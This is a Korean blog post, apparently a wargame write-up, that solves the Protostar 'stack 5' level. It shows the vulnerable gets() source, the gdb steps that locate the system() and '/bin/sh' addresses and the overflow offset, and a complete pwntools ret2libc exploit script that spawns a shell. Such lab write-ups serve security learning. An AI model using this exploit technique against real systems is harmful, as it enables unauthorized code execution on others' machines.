#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
protostar - stack 5의 소스코드이다.
stack 6방법을 통하여 stack 5 테스트 exploit코드를 파이썬으로 작성
#!stack5.py
from pwn import *
system = p32(시스템주소 넣기)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(bin_sh주소넣기)
offset = 위치넣기
payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.
p = process(['stack5'])
p.sendline(payload)
p.interactive()
exploit 코드를 대략 작성
gdb ./stack5
b *main
run
disas system
print system
system 주소를 찾는다.
system = 0xf7c4c910
find /bin/sh
/bin/sh 주소=0xf7db5faa
이제 오프셋 위치를 확인한다.
disas main
pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
b *main+22
run
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
pattern offset 76
offset 위치를 확인
offset = 76
#!stack5.py
from pwn import *
system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)
offset = 76
payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.
p = process(['stack5'])
p.sendline(payload)
p.interactive()
system = 0xf7c4c910
/bin/sh 주소=0xf7db5faa
offset = 76
최종 exploit 코드를 작성한다!
python3 stack5_exploit2.py
protostar stack 5의 두번쨰 방법에 성공하였다!
'시스템 해킹' 카테고리의 다른 글
Protostar - stack 7 ROP (0) | 2024.05.19 |
---|---|
Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 ) (0) | 2024.05.19 |
Protostar stack - 6 함정을 지나 ret하기 (0) | 2024.05.19 |
Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법 (0) | 2024.05.18 |
Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경 (0) | 2024.05.18 |